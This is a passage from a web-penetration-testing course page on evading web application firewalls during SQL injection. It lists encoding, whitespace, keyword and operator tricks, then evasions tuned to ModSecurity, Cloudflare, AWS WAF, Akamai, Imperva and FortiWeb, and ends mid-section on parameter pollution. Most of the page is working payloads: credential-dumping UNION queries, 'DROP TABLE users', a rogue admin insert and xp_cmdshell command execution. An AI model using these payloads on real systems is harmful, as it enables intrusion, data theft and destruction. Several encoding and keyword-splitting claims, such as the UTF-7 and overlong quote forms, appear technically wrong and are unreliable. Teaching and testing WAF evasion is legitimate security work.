Domain 2Web App AttacksCORE

WAF Bypass Techniques

Advanced techniques for bypassing Web Application Firewalls during SQL injection attacks including encoding-based bypasses, whitespace manipulation, keyword obfuscation, operator alternatives, and parameter pollution.

Domain: Domain 2: Web Application Penetration Testing•Updated: 2026-09-01
#WAF Bypass#Encoding#Filter Evasion#Parameter Pollution

WAF Bypass Techniques

Table of Contents

  1. Introduction to WAF Bypass
  2. Encoding-Based Bypasses
  3. Whitespace Bypasses
  4. Keyword Bypasses
  5. Operator Bypasses
  6. Advanced Techniques
  7. WAF-Specific Bypasses
  8. Parameter Pollution
  9. SQLMap Tamper Scripts
  10. Methodology and Workflow
  11. Practice Labs

1. Introduction to WAF Bypass

What is a WAF?

A Web Application Firewall (WAF) sits between the user and the web application, inspecting HTTP requests and responses for malicious patterns. WAFs use rule-based detection (signatures) and/or anomaly-based detection to block attacks.

How WAFs Detect SQL Injection

WAFs typically look for:

  • Keywords: SELECT, UNION, DROP, INSERT, UPDATE, DELETE, OR, AND
  • Operators: =, >, <, !=, LIKE, REGEXP
  • Comments: --, #, /* */
  • Special characters: ', ", ;, (, )
  • Patterns: ' OR '1'='1, UNION SELECT, 1; DROP TABLE

WAF Bypass Strategy

The core idea: transform the payload so the WAF doesn’t recognize it, but the database still executes it correctly.

Original Payload → Transformation → WAF sees "safe" → DB executes as SQL

Key Principle

The WAF and the database backend may parse/interpret the payload differently. Exploit this gap.


2. Encoding-Based Bypasses

2.1 URL Encoding (Percent Encoding)

URL encoding replaces special characters with % followed by a two-digit hex value.

Single URL Encoding

Character Encoded
' (single quote) %27
" (double quote) %22
(space) %20
+ %2B
% %25
/ %2F
= %3D
& %26
# %23
; %3B
( %28
) %29
- %2D
< %3C
> %3E
@ %40

Example:

Original:  ' OR 1=1--
Encoded:   %27%20OR%201%3D1--

When it works:

  • WAF inspects the URL-encoded request without decoding first
  • WAF decodes but the backend decodes again (double decoding vulnerability)
  • WAF has incomplete encoding rules

Double URL Encoding

Encode the % sign itself as %25, so %27 becomes %2527.

Original:    ' OR 1=1--
Single:      %27%20OR%201%3D1--
Double:      %2527%2520OR%25201%253D1--

When it works:

  • The web server or framework decodes twice before passing to the database
  • Apache mod_rewrite with certain configurations
  • PHP with magic_quotes_gpc off and double-decode behavior
  • Some WAFs decode once, see %27 (looks safe), pass through; backend decodes again to '

Test for double decode:

http://target.com/page?id=%2527%2520OR%25201%253D1--

If the application responds with an SQL error or different behavior, double decoding is happening.

Mixed Case URL Encoding

Some WAFs only match lowercase encoded patterns:

%27  →  %27
%27  →  %27 (same, but for multi-char)
%3D  →  %3d  (lowercase d)
%3D  →  %3D  (uppercase D)
Original:  ' OR 1=1--
Mixed:     %27%20OR%201%3d1--

2.2 Unicode Encoding

UTF-8 Unicode Escapes

'  →  %u0027
"  →  %u0022
%  →  %u0025
Original:  ' OR 1=1--
Unicode:   %u0027%20OR%201%3D1--

UTF-8 Overlong Encoding

Represent ASCII characters using multi-byte UTF-8 sequences:

' (0x27) → %C0%27
" (0x22) → %C0%22
% (0x25) → %C0%25
/ (0x2F) → %C0%AF
\ (0x5C) → %C0%9C
Original:  ' OR 1=1--
Overlong:  %C0%27%20OR%201%3D1--

When it works:

  • WAF normalizes UTF-8 differently than the backend
  • Backend accepts overlong sequences, WAF doesn’t recognize them as dangerous

UTF-8 Non-Standard 3-Byte Encoding

' → %E0%80%A7
/ → %E0%80%AF
\ → %E0%80%9C

2.3 Hex Encoding

MySQL supports hex string literals:

-- Normal
SELECT * FROM users WHERE username = 'admin'

-- Hex encoded string
SELECT * FROM users WHERE username = 0x61646D696E

-- In injection
?id=1 AND 1=1 AND SUBSTRING(0x61646D696E,1,1)=0x61

Hex encoding the entire payload:

' OR '1'='1
→
0x27204F5220273127203D202731

When it works:

  • WAF looks for string-based patterns but doesn’t decode hex
  • MySQL interprets 0x... as a string automatically

Converting text to hex:

# Using Python
python3 -c "print('admin'.encode().hex())"
# Output: 61646d696e

# Using echo
echo -n "admin" | xxd -p
# Output: 61646d696e

2.4 Charset Encoding

UTF-7 Encoding

UTF-7 uses + as a shift character and - as a back-shift:

' → +AC-
" → +w-
/ → +SL-
\ → +wF-
Original:  ' OR 1=1--
UTF-7:     +AC- OR 1=1--

When it works:

  • Application accepts charset=UTF-7 in Content-Type header
  • WAF doesn’t decode UTF-7 but the backend does
  • Common in older applications and certain frameworks

Test:

POST /page HTTP/1.1
Content-Type: text/html; charset=UTF-7

id=+AC-+w-OR+AC-1+AC-=+AC-1--

UTF-16 Encoding

UTF-16BE encoding (big-endian):

' → %00%27
O → %00%4F
R → %00%52
Original:  ' OR 1=1--
UTF-16BE:  %00%27%00%20%00%4F%00%52%00%20%0031%00%3D%0031--

When it works:

  • WAF strips null bytes but backend processes UTF-16
  • WAF doesn’t handle UTF-16 encoding at all

Test with Content-Type header:

POST /page HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-16BE

UTF-32 Encoding

Similar to UTF-16 but with more null bytes:

' → %00%00%00%27

2.5 Base64 Encoding

Some applications decode Base64 parameters before processing:

Original:  ' OR 1=1--
Base64:    JyBPUiAxPTEtLQ==
GET /page?id=JyBPUiAxPTEtLQ==

When it works:

  • Application explicitly Base64-decodes certain parameters
  • Custom API endpoints that expect Base64 input
  • JWT tokens with Base64-encoded payloads

Testing:

# Encode
echo -n "' OR 1=1--" | base64
# Output: JyBPUiAxPTEtLQ==

# Decode
echo "JyBPUiAxPTEtLQ==" | base64 -d
# Output: ' OR 1=1--

2.6 Encoding Bypass Summary Table

Technique Example Works When
Single URL %27%20OR%201%3D1 WAF doesn’t decode
Double URL %2527%2520OR Backend double-decodes
Unicode %u %u0027%20OR WAF doesn’t handle %u
UTF-8 overlong %C0%27%20OR Backend accepts overlong
Hex string 0x27204F52 MySQL hex interpretation
UTF-7 +AC- OR 1=1 charset=UTF-7 accepted
UTF-16BE %00%27%00%20 WAF strips nulls, backend doesn’t
Base64 JyBPUiAxPTEtLQ== App decodes Base64 params

3. Whitespace Bypasses

WAFs often look for patterns with spaces between keywords. Replace spaces with alternatives.

3.1 Comment-Based Space Replacement

MySQL treats /**/ as a comment, effectively removing it:

-- Normal
UNION SELECT username, password FROM users

-- With comment-based spaces
UNION/**/SELECT/**/username,/**/password/**/FROM/**/users

More variations:

UNION/*comment*/SELECT/*a*/username/*b*/,/*c*/password/*d*/FROM/*e*/users

UNION/**/SELECT/**/1,2,3

UNION/*!33060SELECT*/1,2,3    -- Version-specific comment (executes on MySQL >= 3.3.060)

Version-specific comments (MySQL):

/*!50001SELECT*/   -- Executes on MySQL >= 5.0.01
/*!32302SELECT*/   -- Executes on MySQL >= 3.23.02 (almost always true)
/*!12345SELECT*/   -- Executes on MySQL >= 12.3.45 (never true, acts as comment)

Practical examples:

?id=1 UNION/**/SELECT/**/table_name,2/**/FROM/**/information_schema.tables
?id=1 UNION/**/SELECT/**/group_concat(table_name),2/**/FROM/**/information_schema.tables/**/WHERE/**/table_schema=database()

3.2 Parenthesis-Based Space Replacement

Wrap expressions in parentheses to eliminate the need for spaces:

-- Normal
SELECT username FROM users WHERE id = 1

-- With parentheses
SELECT(username)FROM(users)WHERE(id)=(1)

Combined with UNION:

-- Normal
1 UNION SELECT username, password FROM users

-- With parentheses
1 UNION(SELECT)(username),(password)FROM(users)

More complex examples:

?id=(1)UNION(SELECT)(1),(2),(3)FROM((users))

?id=1 AND (SELECT(count(*))FROM(users))>0

?id=1 AND (SUBSTRING((SELECT(username)FROM(users)LIMIT(0,1)),1,1)='a')

3.3 Tab / Newline / Carriage Return

Non-space whitespace characters that MySQL accepts:

Character URL Encoded Description
Tab %09 Horizontal tab
LF %0A Line feed (newline)
CR %0D Carriage return
FF %0C Form feed
VT %0B Vertical tab

Examples:

-- Using tab (%09)
?id=1%09UNION%09SELECT%09username%09FROM%09users

-- Using newline (%0A)
?id=1%0AUNION%0ASELECT%0Ausername%0AFROM%0Ausers

-- Using carriage return (%0D)
?id=1%0DUNION%0DSELECT%0Dusername%0DFROM%0Dusers

-- Mixed
?id=1%09UNION%0ASELECT%0Dusername%09FROM%0Ausers

In raw HTTP request:

GET /page?id=1
UNION
SELECT
username,
password
FROM
users HTTP/1.1
Host: target.com

3.4 Mixed Whitespace Techniques

Combine multiple whitespace bypass methods:

-- Mix of comments, tabs, and newlines
?id=1/**/UNION%09SELECT%0Ausername,/**/password%0DFROM%09users

-- Mix of comments and parentheses
?id=1/**/(UNION)(SELECT)(username),(password)/**/FROM(users)

-- Deep nesting
?id=1%0A/**/UNION%09/**/SELECT%0D/**/1,2,3%0A/**/FROM%09/**/users

3.5 Whitespace Bypass Summary

Technique Example Notes
/**/ UNION/**/SELECT Most reliable
Parentheses (UNION)(SELECT) Works in most contexts
%09 (tab) UNION%09SELECT URL-encoded tab
%0A (newline) UNION%0ASELECT URL-encoded LF
%0D (CR) UNION%0DSELECT URL-encoded CR
Mixed UNION/**/SELECT%09FROM Combine for maximum evasion

4. Keyword Bypasses

4.1 Case Variation

SQL keywords are case-insensitive. Mix upper and lower case:

-- Normal
UNION SELECT username FROM users

-- Mixed case
UnIoN SeLeCt UsErNaMe FrOm UsErS

uNiOn sElEcT 1,2,3

UNiOn SeLeCt TaBlE_NaMe FrOm InFoRmAtIoN_sChEmA.tAbLeS

Randomized case (harder for regex):

UnIoN sElEcT uSeRs.pAsSwOrD fRoM uSeRs wHeRe iD=1

4.2 Inline Comments Within Keywords

Insert comments inside keywords to break pattern matching:

-- Normal
SELECT username FROM users

-- With inline comments
SELEC/T/ username FR/O/M users

SEL/*comment*/ECT username FR/*comment*/OM users

S/**/E/**/L/**/E/**/C/**/T username FR/**/O/**/M users

More aggressive splitting:

S/*a*/E/*b*/L/*c*/E/*d*/C/*e*/T/*f*/ username FR/*g*/O/*h*/M/*i*/ users

SE/**/LECT/**/un/**/ame FR/**/OM us/**/rs

Version-specific inline comments:

/*!UNION*/ SELECT 1,2,3
UNION /*!SELECT*/ 1,2,3
UNION SELECT /*!1,2,3*/

4.3 Alternative Syntax

Replace keywords with functionally equivalent alternatives:

UNION ALL SELECT → UNION SELECT

-- Normal
UNION ALL SELECT 1,2,3

-- Simplified (ALL is optional)
UNION SELECT 1,2,3

Alternative to SELECT

-- Using INTO
SELECT username INTO @var FROM users

-- Using variable assignment
SET @var = (SELECT username FROM users LIMIT 1)

Alternative to FROM

In some contexts, subqueries can replace FROM:

-- Normal
SELECT username FROM users

-- Subquery alternative
SELECT (SELECT username FROM users LIMIT 1)

4.4 Logical Operator Alternatives

Original Alternative Example
AND && 1 AND 1=1 → 1 && 1=1
OR || 1 OR 1=1 → 1 || 1=1
NOT ! NOT 1=1 → !1=1
= LIKE id=1 → id LIKE 1
= REGEXP id=1 → id REGEXP 1
!= <> id!=1 → id<>1
!= NOT LIKE id!=1 → id NOT LIKE 1

Examples:

-- AND → &&
?id=1 && 1=1
?id=1 && SUBSTRING(username,1,1)='a'

-- OR → ||
?id=1 || 1=1
?id=' || '1'='1

-- NOT → !
?id=1 AND !ISNULL((SELECT password FROM users LIMIT 1))

4.5 WHERE → HAVING

In some contexts, HAVING can replace WHERE:

-- Normal
SELECT * FROM users WHERE id = 1

-- Using HAVING (with GROUP BY)
SELECT * FROM users GROUP BY id HAVING id = 1

-- Boolean blind with HAVING
?id=1 GROUP BY username HAVING username LIKE 'a%'--

4.6 Double Keyword Technique

Repeat keywords to confuse WAF pattern matching:

-- Normal
UNION SELECT 1,2,3

-- Double keyword
UNION UNION SELECT 1,2,3
SELECT SELECT 1,2,3

Note: This works in some MySQL versions where the parser handles duplicate keywords gracefully.

4.7 Keyword Splitting

Break keywords across different parts:

-- Split SELECT
SELEC + T 1,2,3          -- String concatenation
CONCAT('SE','LECT')      -- Function-based

-- Split UNION
UNI + ON SELECT 1,2,3

-- Split using backticks (identifier quoting)
`UNION` `SELECT` 1,2,3

4.8 String Construction Techniques

Build strings without using literal quotes:

-- CHAR function
CHAR(97,100,109,105,110) = 'admin'

-- CONCAT function
CONCAT('ad','min') = 'admin'

-- CONCAT_WS
CONCAT_WS('', 'ad', 'min') = 'admin'

-- GROUP_CONCAT
GROUP_CONCAT(username SEPARATOR '')

-- Using hex
0x61646D696E = 'admin'

-- Using variables
SET @s = CONCAT('ad', 'min'); SELECT @s;

Practical injection examples:

-- Using CHAR
?id=1 AND SUBSTRING(CHAR(97,100,109,105,110),1,1)='a'

-- Using CONCAT
?id=1 AND username=CONCAT('ad','min')

-- Using hex
?id=1 AND username=0x61646D696E

4.9 Keyword Bypass Summary

Technique Original Bypassed
Case variation UNION SELECT UnIoN SeLeCt
Inline comments SELECT SE/**/LECT
Operator alt AND &&
Operator alt OR ||
WHERE alt WHERE HAVING
Double keyword UNION SELECT UNION UNION SELECT
String build 'admin' CHAR(97,100,109,105,110)
Hex string 'admin' 0x61646D696E

5. Operator Bypasses

5.1 Equality Operator Alternatives

LIKE

-- Normal
username = 'admin'

-- LIKE alternative
username LIKE 'admin'

In injection:

?id=1 AND username LIKE 'admin'
?id=1 AND 1 LIKE 1          -- Always true
?id=1 AND 'a' LIKE 'a'      -- Always true

REGEXP / RLIKE

-- REGEXP
username REGEXP '^admin$'

-- RLIKE (MySQL synonym)
username RLIKE '^admin$'

In injection:

?id=1 AND username REGEXP '^adm'
?id=1 AND 'abc' REGEXP 'a.*c'

STRCMP

MySQL’s string comparison function (returns 0 if equal):

-- Normal
username = 'admin'

-- STRCMP (returns 0 when strings are equal)
STRCMP(username, 'admin') = 0
STRCMP(username, 'admin') IS NOT 1
STRCMP(username, 'admin') IS NOT -1

In injection:

?id=1 AND STRCMP(username, CHAR(97,100,109,105,110))=0

5.2 Comparison Operator Alternatives

Greater Than (>)

-- Normal
id > 5

-- NOT BETWEEN alternative
id NOT BETWEEN 0 AND 5

-- Using > with alternatives
id >= 6
id NOT IN (0,1,2,3,4,5)

In blind injection:

?id=1 AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users) NOT BETWEEN 0 AND 96

Less Than (<)

-- Normal
id < 5

-- BETWEEN alternative
id BETWEEN 0 AND 5

-- Using < with alternatives
id <= 4

In blind injection:

?id=1 AND (SELECT ASCII(SUBSTRING(username,1,1)) FROM users) BETWEEN 97 AND 122

Not Equal (!=)

-- Normal
id != 5

-- Alternatives
id <> 5
NOT (id = 5)

5.3 Logical Operator Alternatives

AND → &&

-- Normal
1 AND 1=1

-- Alternative
1 && 1=1

In injection:

?id=1&&1=1
?id=1&&SUBSTRING(username,1,1)='a'
?id=1&&(SELECT(count(*))FROM(users))>0

OR → ||

-- Normal
1 OR 1=1

-- Alternative
1 || 1=1

In injection:

?id=1||1=1
?id='||'1'='1

NOT → !

-- Normal
NOT (1=1)

-- Alternative
!(1=1)

5.4 Comment Alternatives

Different comment styles for end-of-payload:

Comment Type Example
-- SQL standard (needs trailing space) ' OR 1=1--
--+- URL-safe variant ' OR 1=1--+-
--%20 URL-encoded space ' OR 1=1--%20
# MySQL hash comment ' OR 1=1#
%23 URL-encoded hash ' OR 1=1%23
/* Block comment (unclosed) ' OR 1=1/*
;%00 Null byte termination ';%00

Practical examples:

-- Standard SQL comment
?id=1' OR '1'='1'-- -

-- MySQL hash comment
?id=1' OR '1'='1'#

-- URL-encoded hash
?id=1'%20OR%20'1'='1'%23

-- Block comment
?id=1' OR 1=1/*

-- Null byte (works with some backends)
?id=1';%00

5.5 Arithmetic Operator Alternatives

-- Addition
1+1 → 1 + 1 → 1++1

-- Subtraction
1-1 → 1 - 1

-- Multiplication
1*1 → 1 * 1

-- Division
1/1 → 1 / 1

-- Modulo
1%1 → 1 % 1

-- Bitwise
1&1 → 1 & 1
1|1 → 1 | 1
1^1 → 1 ^ 1

In injection (avoiding spaces):

?id=1 AND 1=1+0
?id=1 AND 1=1*1
?id=1 AND SUBSTRING(username,1,1)=CHAR(97+0)

5.6 Operator Bypass Summary

Original Alternatives
= LIKE, REGEXP, RLIKE, STRCMP(x,y)=0
> NOT BETWEEN 0 AND, >=
< BETWEEN 0 AND, <=
!= <>, NOT (=)
AND &&
OR ||
NOT !
-- #, /*, --+-, --%20

6. Advanced Techniques

6.1 Wide Byte Injection (GBK / %bf’)

How It Works

GBK is a Chinese character encoding where certain byte sequences form valid multi-byte characters. The key exploit: %bf%27 forms a valid GBK character when %27 (') is prepended with %bf.

The Mechanism

Application receives: %bf%27
Application adds escape: %bf\'  (adds backslash before quote)
Backslash %5C in GBK: %bf%5C forms valid GBK char (運)
Result: 運'  → the quote is now unescaped!

Step-by-Step

1. Input:              %bf'
2. App escapes to:     %bf\'
3. Bytes:              bf 5c 27
4. GBK interprets:     [bf 5c] [27]
5. Result:             運 '    ← quote is free!

Practical Example

Original query:  SELECT * FROM products WHERE id = '$id'

Input:           %bf'
After escape:    %bf\'
GBK result:      運'

Final query:     SELECT * FROM products WHERE id = '運''
                                    ← valid! The quote broke out!

Full Injection

Input:  %bf' UNION SELECT username, password FROM users--

After GBK processing:
運' UNION SELECT username, password FROM users--

When It Works

  • Backend uses GBK, BIG5, or other multi-byte charset
  • Application adds backslash escaping before charset conversion
  • Common in older PHP/MySQL applications with SET NAMES gbk

Testing

# Test for wide byte vulnerability
curl "http://target.com/page?id=%bf'"
curl "http://target.com/page?id=%a1'"
curl "http://target.com/page?id=%aa%27"

# Common GBK lead bytes for quote injection
%bf%27   → 運'
%a1%27   → different char + '
%aa%27   → different char + '
%d5%27   → different char + '

Other Multi-Byte Encodings

Encoding Lead Byte + ' Result
GBK %bf%27 運’
BIG5 %a1%27 Character + ’
GB2312 %bf%27 Same as GBK
Shift_JIS %81%27 or %8d%27 Character + ’

6.2 Truncation Attacks

How It Works

Exploit column length limits. If a column is VARCHAR(10), inserting more than 10 characters truncates the value.

Username Truncation

-- Column: username VARCHAR(10)
-- Insert: username = 'admin           ' (with trailing spaces)
-- Stored: 'admin      ' (truncated to 10 chars)

-- If we can control both username and password hash:
INSERT INTO users (username, password) VALUES ('admin           ', 'our_hash')
-- Stored: ('admin', 'our_hash')  ← we've hijacked admin!

In Injection Context

-- If the app does:
UPDATE users SET username='$new_name' WHERE username='$old_name'

-- And username is VARCHAR(10):
-- Input old_name = 'admin           ' (padded with spaces)
-- The WHERE clause truncates, matching 'admin'

MySQL sql_mode Dependency

Truncation behavior depends on sql_mode:

  • Without STRICT_TRANS_TABLES: Silent truncation with warning
  • With STRICT_TRANS_TABLES: Error on truncation (attack fails)

Check sql_mode:

SELECT @@sql_mode;

6.3 Scientific Notation

MySQL interprets certain numeric formats as scientific notation:

-- Normal
1e0 = 1
1e1 = 10
2e2 = 200

-- In injection
?id=1 AND 1e0=1
?id=1 AND SUBSTRING(username,1e0,1e0)='a'

Bypassing numeric filters:

-- If WAF blocks "1=1":
?id=1 AND 1e0=1e0
?id=1 AND 1.0=1
?id=1 AND 01=1          -- Leading zero

6.4 Hex String Bypass

Converting Strings to Hex

-- String to hex
SELECT HEX('admin');     -- Returns: 61646D696E

-- Hex to string
SELECT UNHEX('61646D696E');  -- Returns: admin

-- Direct hex comparison
SELECT * FROM users WHERE username = 0x61646D696E;

In Injection

-- Normal
?id=1 AND username='admin'

-- Hex bypass
?id=1 AND username=0x61646D696E

-- In SUBSTRING
?id=1 AND SUBSTRING(username,1,1)=0x61

-- In LIKE
?id=1 AND username LIKE 0x61%

Building Payloads with Hex

-- 'UNION SELECT' in hex
0x554E494F4E2053454C454354

-- Use in dynamic SQL (advanced)
SET @s = 0x53454C4543542031;
PREPARE stmt FROM @s;
EXECUTE stmt;

6.5 Backtick Identifiers

MySQL uses backticks for identifier quoting:

-- Normal
SELECT username FROM users

-- With backticks
SELECT `username` FROM `users`

-- In injection
?id=1 UNION SELECT `username`,`password` FROM `users`

Bypassing keyword filters:

-- If "SELECT" is filtered:
`SELECT` `username` FROM `users`

-- If column names are filtered:
SELECT `user`name FROM `users`    -- Split inside backtick won't work
SELECT CONCAT(`user`,`name`) FROM `users`  -- Alternative

Information schema with backticks:

?id=1 UNION SELECT `table_name`,2 FROM `information_schema`.`tables`

6.6 Variable-Based Injection

User Variables

-- Set and use variables
SET @sql = 'SELECT username FROM users';
PREPARE stmt FROM @sql;
EXECUTE stmt;
DEALLOCATE PREPARE stmt;

In Injection Context

-- Using session variables
?id=1; SET @x=0x61646D696E; SELECT @x--

-- Using variables in expressions
?id=1 AND (@x:=SUBSTRING((SELECT username FROM users LIMIT 1),1,1))='a'

-- Chaining variable assignments
?id=1 AND (SELECT @a:=1, @b:=SUBSTRING(password,1,1) FROM users LIMIT 1)

System Variables

-- Check configuration
?id=1 AND @@version LIKE '5%'
?id=1 AND @@basedir LIKE '%/%'
?id=1 AND @@datadir LIKE '%/%'

-- Use in injection
?id=1 AND SUBSTRING(@@version,1,1)='5'

6.7 Stored Procedure Bypass

Using Existing Stored Procedures

-- Call stored procedures
?id=1; CALL proc_name()--

-- xp_cmdshell (SQL Server)
?id=1; EXEC xp_cmdshell('whoami')--

MySQL Specific

-- Using PROCEDURE ANALYSE
?id=1 UNION SELECT 1,2 PROCEDURE ANALYSE()

-- Using PROCEDURE ANALYSE to leak data
?id=1 UNION SELECT username, password FROM users PROCEDURE ANALYSE()

SQL Server Specific

-- Extended stored procedures
EXEC master..xp_cmdshell 'dir'
EXEC master..xp_fileexist 'C:\windows\win.ini'

-- sp_makewebtask (older versions)
EXEC sp_makewebtask 'C:\output.html', 'SELECT * FROM users'

6.8 Stacked Queries

When the backend allows multiple statements:

-- Normal single query
?id=1' OR 1=1--

-- Stacked queries
?id=1'; DROP TABLE users--
?id=1'; INSERT INTO admin VALUES('hacker','password')--
?id=1'; EXEC xp_cmdshell('whoami')--

Database support:

Database Stacked Queries Notes
MySQL Sometimes Depends on driver/API
SQL Server Yes Commonly supported
PostgreSQL Yes Via libpq
Oracle No Use PL/SQL blocks

6.9 Time-Based Blind Techniques

When no output is visible:

-- MySQL SLEEP
?id=1 AND SLEEP(5)
?id=1 AND IF(1=1, SLEEP(5), 0)
?id=1 AND (SELECT SLEEP(5) FROM users WHERE username='admin')

-- MySQL BENCHMARK
?id=1 AND BENCHMARK(10000000, SHA1('test'))

-- SQL Server WAITFOR
?id=1; WAITFOR DELAY '0:0:5'--

-- PostgreSQL pg_sleep
?id=1 AND pg_sleep(5)

Binary search with time:

-- Check if first char of username is 'a' (ASCII 97)
?id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))>97, SLEEP(5), 0)

-- If page loads slowly → ASCII > 97
-- If page loads fast → ASCII <= 97

6.10 Advanced Techniques Summary

Technique Example Database
Wide byte %bf' MySQL (GBK)
Truncation 'admin ' MySQL (non-strict)
Scientific notation 1e0=1 MySQL
Hex string 0x61646D696E MySQL
Backticks `users` MySQL
Variables @x:=value MySQL
Stored proc PROCEDURE ANALYSE() MySQL
Stacked queries ; DROP TABLE SQL Server, PG
Time-based SLEEP(5) MySQL
Time-based WAITFOR DELAY SQL Server

7. WAF-Specific Bypasses

7.1 ModSecurity Bypass

ModSecurity is the most common open-source WAF, often used with OWASP CRS (Core Rule Set).

CRS Rule Evasion

-- CRS looks for specific patterns. Break them:

-- Rule: Detects "UNION SELECT"
UNION/**/SELECT 1,2,3
UnIoN SeLeCt 1,2,3
UNI%0AON SELECT 1,2,3

-- Rule: Detects "information_schema"
info%6Eation_schema
information_%73chema
information_schema (with mixed case: InFoRmAtIoN_sChEmA)

-- Rule: Detects "SELECT * FROM"
SELECT/**/*/**/FROM users
SELECT(*)FROM(users)

Argument Limit Bypass

ModSecurity may stop inspecting after a certain number of arguments:

?id=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1&a=1' UNION SELECT 1,2,3--

Response Code Manipulation

Some ModSecurity rules only trigger on certain response codes. Force a different code:

GET /page?id=1' OR 1=1-- HTTP/1.1
X-Forwarded-For: 127.0.0.1

ModSecurity-Specific Techniques

-- Use semicolons to break up patterns
?id=1;SELECT 1,2,3

-- Use XML entities (if applicable)
?id=1&param=&lt;script&gt;SELECT&lt;/script&gt;

-- Abuse ModSecurity's TX variables
X-Custom-IP-Authorization: 1

-- Header-based injection (ModSecurity may not inspect all headers)
User-Agent: ' UNION SELECT 1,2,3--
Cookie: id=1' UNION SELECT 1,2,3--
X-Forwarded-For: ' UNION SELECT 1,2,3--

OWASP CRS Phase Bypass

-- CRS Phase 1: Request line
-- CRS Phase 2: Headers
-- CRS Phase 3: Body

-- Bypass by injecting in unexpected locations:
Accept: text/html, application/x-ndjson
X-Original-URL: ' UNION SELECT 1,2,3--
Rewrite: ' UNION SELECT 1,2,3--

7.2 Cloudflare Bypass

Cloudflare WAF uses rule-based detection with ML components.

Common Bypasses

-- Case manipulation
?id=1 UnIoN SeLeCt 1,2,3

-- Whitespace replacement
?id=1%09UNION%09SELECT%091,2,3
?id=1/**/UNION/**/SELECT/**/1,2,3

-- Encoded keywords
?id=1%252520UNION%252520SELECT    -- Double encoding

-- Alternative operators
?id=1&&1=1
?id=1||1=1

Cloudflare-Specific Techniques

-- Use less common comment styles
?id=1' OR 1=1/*comment*/

-- String concatenation
?id=1 AND CONCAT('ad','min')='admin'

-- Use information_schema alternatives
?id=1 UNION SELECT table_name,2 FROM information_schema.tables

-- Abuse POST body (sometimes less inspected)
POST /page
id=1' UNION SELECT 1,2,3--

Rate Limit Awareness

Cloudflare may block after repeated failed attempts. Space out requests and vary payloads.

7.3 AWS WAF Bypass

AWS WAF uses managed rule groups (AWSManagedRulesSQLiRuleSet) and custom rules.

Common Bypasses

-- AWS WAF often catches obvious patterns
-- Try less common variations:

-- Nested comments
?id=1/*a*/UNION/*b*/SELECT/*c*/1,2,3

-- Function wrapping
?id=1 AND IF(1=1,1,0)
?id=1 AND CONCAT(1,1)

-- Alternative syntax
?id=1 AND EXISTS(SELECT 1 FROM users)
?id=1 AND 1 IN (SELECT 1)

AWS WAF-Specific Techniques

-- Use less common MySQL functions
?id=1 AND GET_LOCK('test',1)=1
?id=1 AND RELEASE_LOCK('test')=1

-- Use JSON functions (if available)
?id=1 AND JSON_EXTRACT('{"a":1}', '$.a')=1

-- Use window functions
?id=1 UNION SELECT ROW_NUMBER() OVER(),2,3

7.4 Akamai Bypass

Akamai WAF uses pattern matching and behavioral analysis.

Common Bypasses

-- Akamai is strong on keyword detection
-- Focus on encoding and structure changes:

-- Heavy encoding
?id=%2527%2520UNION%2520SELECT%25201,2,3

-- Mixed techniques
?id=1%0AUnIoN%09SeLeCt%0D1,2,3

-- Alternative functions
?id=1 AND LOCATE('admin', username)>0
?id=1 AND INSTR(username, 'admin')>0

7.5 Imperva Bypass

Imperva SecureSphere uses deep inspection and ML.

Common Bypasses

-- Imperva is very strong. Try:

-- Stacked encoding
?id=%2527%2520OR%25201%253D1

-- HTTP parameter pollution
?id=1&id=1' UNION SELECT 1,2,3--

-- Unusual header injection
X-Forwarded-For: 127.0.0.1' UNION SELECT 1,2,3--

-- Content-Type manipulation
Content-Type: application/x-www-form-urlencoded; charset=UTF-7

7.6 FortiWeb Bypass

Fortinet FortiWeb uses signature-based and anomaly-based detection.

Common Bypasses

-- FortiWeb bypasses:

-- Case and whitespace
?id=1 uNiOn sElEcT 1,2,3

-- Comment injection
?id=1'/**/OR/**/'1'='1'--

-- Alternative operators
?id=1&&1=1
?id=1||1=1

-- Use FortiWeb's blind spots
?id=1 AND (SELECT count(*) FROM users) > 0

7.7 WAF Bypass Comparison Table

WAF Strength Weakness Best Bypass
ModSecurity CRS rules Argument limits Header injection, arg flooding
Cloudflare ML detection Encoding gaps Mixed encoding, case variation
AWS WAF Managed rules Function coverage Nested comments, alt functions
Akamai Pattern matching Encoding depth Double encoding, mixed whitespace
Imperva Deep inspection Charset handling UTF-7, parameter pollution
FortiWeb Signature matching Case sensitivity Case variation, comments

8. Parameter Pollution

8.1 HTTP Parameter Pollution (HPP)

Send duplicate parameters and exploit how the backend handles them.

Duplicate Parameters

Normal:       ?id=1
Polluted:     ?id=1&id=2
Polluted:     ?id=1&id=1' UNION SELECT 1,2,3--

Backend behaviors:

Backend Behavior Result
PHP Takes last value id = 1' UNION...
PHP (old) Concatenates with , id = 1,1' UNION...
Java/Tomcat Takes first value id = 1
Java (some) Concatenates with , id = 1,1' UNION...
ASP.NET Takes first value id = 1
ASP.NET (some) Concatenates with , id = 1,1' UNION...
IIS 7+ Concatenates with , id = 1,1' UNION...

Practical HPP Injection

# PHP (takes last)
?id=1&id=1' UNION SELECT username,password FROM users--

# Java/Tomcat (takes first, but try comma concat)
?id=1,1' UNION SELECT username,password FROM users--

# IIS (comma concatenation)
?id=1&id=1' UNION SELECT 1,2,3--
# Backend sees: id = "1,1' UNION SELECT 1,2,3--"

8.2 Array Parameters

Some frameworks accept array-style parameters:

# PHP array style
?id[]=1&id[]=2
?id[]=1&id[]=1' UNION SELECT 1,2,3--

# Nested arrays
?id[0]=1&id[1]=1' UNION SELECT 1,2,3--

# JSON-style
?id=["1","1' UNION SELECT 1,2,3--"]

PHP behavior:

// If id is expected to be an integer but receives an array:
$_GET['id'] = [1, "1' UNION SELECT 1,2,3--"];
// May cause type juggling or error-based info leak

8.3 Mixed Parameter Types

Combine different parameter formats:

# Mix normal and array
?id=1&id[]=2

# Mix with JSON
?id=1&id={"value": "1' UNION SELECT 1,2,3--"}

# Mix encoding
?id=1&id=%27%20UNION%20SELECT%201,2,3--

# Mix with file upload
POST /page
------Boundary
Content-Disposition: form-data; name="id"
1
------Boundary
Content-Disposition: form-data; name="id"
1' UNION SELECT 1,2,3--
------Boundary--

8.4 HPP with WAF Bypass

Combine HPP with other bypass techniques:

# HPP + encoding
?id=1&id=%2527%2520UNION%2520SELECT%25201,2,3--

# HPP + whitespace
?id=1&id=1%09UNION%09SELECT%091,2,3

# HPP + case variation
